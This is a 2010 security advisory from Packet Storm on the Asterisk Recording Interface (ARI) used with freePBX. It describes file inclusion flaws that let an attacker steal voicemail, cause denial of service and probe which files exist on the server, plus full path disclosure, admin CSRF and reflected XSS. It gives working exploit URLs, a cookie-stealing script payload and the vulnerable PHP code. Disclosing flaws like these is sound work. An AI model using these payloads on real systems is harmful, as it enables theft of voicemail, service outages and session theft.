Asterisk Recording Interface Cross Site Request Forgery / Cross Site Scripting / Denial Of Service / Local File Inclusion

2010-07-13T00:00:00
ID PACKETSTORM:91726
Type packetstorm
Reporter TurboBorland
Modified 2010-07-13T00:00:00

Description

                                        
                                            `Found By: TurboBorland  
Email: tborland1@gmail.com  
Software: Asterisk Recording Interface  
Date Found: 07/01/2010  
Ethical Disclosure: Site down, no other location for project, author  
can not be found, no one to get in touch with. Submission.  
Vulnerabilities: LFI (steal voicemail (only need to supply userid),  
discover services, discover kernel, DoS), full path disclosure,  
administrative CSRF, and reflective XSS  
  
  
The asterisk recording interface seems to have multiple  
vulnerabilities. I'm sure some of these can be expanded upon to be  
much greater than they are currently, however little time has made it  
so that others can have fun with the exploit(s). Some of these are  
looked at with the most popular distro (as far as I'm aware) using the  
ARI, freePBX.  
  
The LFI I didn't know exactly how to classify. You are pulling files  
from one location to the other, but can't really grab them unless  
they're a valid extension to download. I guess it'd be classified as  
remote file move? Whatever, semantics semantics.  
  
The first, local file inclusion.  
Target: voicemail.module  
Example exploit:  
DoS -> http://10.10.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F4949&selected7=/var/www/recordings/index.php  
Steal Voicemails ->  
http://10.0.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=INBOX&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F4949&selected7=%2Fvar%2Fspool%2Fasterisk%2Fvoicemail%2Fhouston%2F2625%2FINBOX%2Fmsg0000.txt  
  
+Steal voicemails:  
By looking at the data sent out, or the html, you can glean the info  
to start building the selected7 LFI. As you see, mailbox_rx includes  
the current directory and current userid to receive the file. Next,  
/var/spool/asterisk/voicemail is the default location for this  
install. We can see this by looking at the global variable of  
$ASTERISK_VOICEMAIL_PATH. However, from a remote point of view, that  
doesn't help (keep reading below for an FPD on this directory). I  
don't see many people changing this location. So we should be pretty  
safe.  
The last item (besides userid, which can be gleaned a multitude of  
ways), is the added extension folder. You can see we have another  
folder. Well, thanks to error messages, we can find this path:  
if (is_dir($path_rx)) {  
  
$lastNum = -1;  
$lastNumLen = 4;  
  
$dh = opendir($path_rx);  
while (false != ($filename = readdir($dh))) {  
if($filename!="." && $filename!="..") {  
  
$msg_path = $path_rx;  
$msg_path = appendPath($msg_path,$filename);  
if (is_file($msg_path)) {  
$path_parts = pathinfo($msg_path);  
list($name,$ext) = split("\.",$path_parts['basename'],2);  
$num = preg_replace("/[a-zA-Z]/",'', $name);  
if ($num > $lastNum) {  
$lastNum = $num;  
$lastNumLen = strlen($lastNum);  
}  
}  
}  
}  
}  
else {  
$_SESSION['ari_error'] = sprintf(_("Could not create mailbox  
folder %s on the server"),$folder_rx);  
return;  
}  
  
And:  
// recieving path  
$paths = split(';',$ASTERISK_VOICEMAIL_PATH);  
$path_rx = appendPath($paths[0],$context_rx);  
So if we provide a directory in selected7 that does not exist, we'll  
get a nice error revealing the remaining pieces of the path to us  
(unless you just skipped to the above).  
  
Finally, what you came to read. The selected file is only checked to  
make sure it has appropriate permissions. However, this is only  
checked if the webserver has appropriate permissions to it. It is not  
checked if the currently logged in user is the one sending the file to  
the other location:  
  
  
$dst = appendPath($path_rx,$folder_rx);  
if (is_writable($src) && is_writable($path_rx)) {  
  
$perm = fileperms($src);  
$uid = fileowner($src);  
$gid = filegroup($src);  
  
copy($src,$dst);  
  
  
+Denial of Service:  
File: voicemail.module  
Sample: http://10.10.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F2627&selected7=/var/www/recordings/index.php  
The problem here is source is not checked, so we can grab any file as  
long as the webserver (or whatever user the file is run as, I say  
webserver as a default) has permissions to it.  
  
foreach($files as $key => $path) {  
  
// get file parts for search  
$path_parts = pathinfo($path);  
$path = $path_parts['dirname'];  
$path = fixPathSlash($path);  
list($name,$ext) = split("\.",$path_parts['basename']);  
if (is_dir($path)) {  
  
$lastNum++;  
$hdl = opendir($path);  
while ($fn = readdir($hdl)) {  
if (preg_match("/" . $name . "/",$fn)) {  
$src = $path . $fn;  
$path_parts = pathinfo($src);  
//fix for Serge Mankovski's "Voicemail RSS"  
//split file basename into two pieces at the first '.'  
//so that files like  
msg0000.7025f35d463ebbafa101db8a88c71b681aa8443d.mp3  
//don't get clobbered by preg_replace() of digits  
list($name,$ext) = split("\.",$path_parts['basename'],2);  
$folder_rx = preg_replace("/\d+/",sprintf("%0" .  
$lastNumLen . "d",$lastNum),$name) . "." . $ext;  
$dst = appendPath($path_rx,$folder_rx);  
if (is_writable($src) && is_writable($path_rx)) {  
  
$perm = fileperms($src);  
$uid = fileowner($src);  
$gid = filegroup($src);  
  
copy($src,$dst);  
  
  
We created a DoS with the sample by taking the index.php page and  
moving it over to my inbox. Which makes the ARI completely unusable  
until restored.  
  
  
  
+Check if file/directory exist and check for valid kernel version:  
File: voicemail.module  
Example: http://10.10.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F2627&selected7=/etc/exim4  
  
As long as the file exists, but the webserver does not have permission  
to it, it will display an error on is_dir and is_file. If it is not a  
file, no permission denied should appear. We can use this to map  
other services that may be hosted on the box.  
*Paul Scott noted that we could use this to fingerprint which kernel  
version the host is running.  
Keep in mind, these are all going to be case sensitive.  
  
  
  
  
  
  
+Full Path Disclosure through preg_match:  
File: voicemail.module  
Example: http://10.10.10.10/recordings/index.php?m=voicemail&f=display&q[]=&order=calldate&sort=asc  
Setting aside the above full path disclosure, there's another one that  
will disclose where the full location of the webserver's files.  
if ($q) {  
  
$found = 0;  
  
if (preg_match("/" . $q . "/", $origmailbox) ||  
preg_match("/" . $q . "/", $callerid) ||  
preg_match("/" . $q . "/", $date) ||  
preg_match("/" . $q . "/", $time)) {  
$found = 1;  
}  
}  
  
  
  
  
  
+Administrative CSRF:  
File: page.ampusers.php  
$action = isset($_REQUEST['action'])?$_REQUEST['action']:'';  
  
switch ($action) {  
case "addampuser":  
core_ampusers_add($username, $password, $extension_low,  
$extension_high, $deptname, $sections);  
//indicate 'need reload' link in footer.php  
needreload();  
redirect_standard();  
break;  
case "editampuser":  
// Check to make sure the hidden var is sane, and that they haven't  
changed the password field  
if (strlen($form_password_sha1)==40 && $password == "******") {  
// Password unchanged  
core_ampusers_del($userdisplay);  
core_ampusers_add($username, $form_password_sha1, $extension_low,  
$extension_high, $deptname, $sections);  
} elseif ($password != "******") {  
// Password has been changed  
core_ampusers_del($userdisplay);  
core_ampusers_add($username, $password, $extension_low,  
$extension_high, $deptname, $sections);  
}  
//indicate 'need reload' link in footer.php  
needreload();  
redirect_standard('userdisplay');  
break;  
case "delampuser":  
core_ampusers_del($userdisplay);  
//indicate 'need reload' link in footer.php  
needreload();  
$userdisplay = ""; // go "add" screen  
redirect_standard();  
break;  
}  
  
?>  
  
<tr>  
<td>  
<a href=# class="info"><?php echo _("Username<span>Create a  
unique username for this new user</span>")?></a>:  
</td><td>  
<input type="text" size="20" name="username" value="<?php echo  
$username;?>" tabindex="<?php echo ++$tabindex;?>"/>  
</td>  
</tr>  
<tr>  
<td>  
<a href=# class="info"><?php echo _("Password<span>Create a  
password for this new user</span>")?></a>:  
</td><td>  
<input type="password" size="20" name="password" value="<?php  
echo $password; ?>" tabindex="<?php echo ++$tabindex;?>"/>  
</td>  
</tr>  
<tr>  
<td colspan="2">  
<br>  
<h4><?php echo _("Access Restrictions")?></h4>  
</td>  
</tr>  
<tr>  
<td>  
<a href=# class="info"><?php echo _("Department  
Name<span>Restrict this user's view of Digital Receptionist menus and  
System Recordings to only those for this department.</span>")?></a>:  
</td><td>  
<input type="text" size="20" name="deptname" value="<?php echo  
htmlspecialchars($deptname);?>" tabindex="<?php echo ++$tabindex;?>"/>  
</td>  
</tr>  
<tr>  
<td>  
<a href=# class="info"><?php echo _("Extension  
Range<span>Restrict this user's view to only Extensions, Ring Groups,  
and Queues within this range.</span>")?></a>:  
</td><td>  
<input type="text" size="5" name="extension_low" value="<?php  
echo htmlspecialchars($extension_low);?>" tabindex="<?php echo  
++$tabindex;?>"/>  
 to  
<input type="text" size="5" name="extension_high" value="<?php  
echo htmlspecialchars($extension_high);?>" tabindex="<?php echo  
++$tabindex;?>"/>  
</td>  
</tr>  
<tr>  
<td valign="top">  
<a href=# class="info"><?php echo _("Admin Access<span>Select the  
Admin Sections this user should have access to.</span>")?></a>:  
</td><td>  
<select multiple name="sections[]" tabindex="<?php echo ++$tabindex;?>">  
<option />  
  
etc...I'm sure you get the point by these samples. There's no place  
to submit images on the application itself, you do stay logged in, but  
it's not that fun because it's likely that it does require some form  
of user interaction to perform. Unless you were to have a forum  
system in place on the internal network or other appropriate vectors  
(images allowed in emails?).  
  
  
  
+Reflective XSS:  
File: recording_popup.php  
Example: http://10.10.10.10/recordings/misc/recording_popup.php?recording=whatever&date=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
  
The recording= LFI was what I had found first. However, after finding  
that a.) The LFI was a pita to actually do anything useful and b.)  
someone else found it, I went looking for more. The advisory had  
missed the XSS in the date. Very simple, not seemingly useful alone.  
The current version of freePBX does not have recording_popup.php  
(besides admin), however it is included in older versions. The new  
version of this file is called audio.php and is not vulnerable by  
simply 404'ing instead of echo'ing back. However, any ARI  
implementation including this page may still be vulnerable.  
  
  
  
Shoutz: Thanks to Paul Scott for helping and suffering my abuse to  
his voicemail project.  
  
`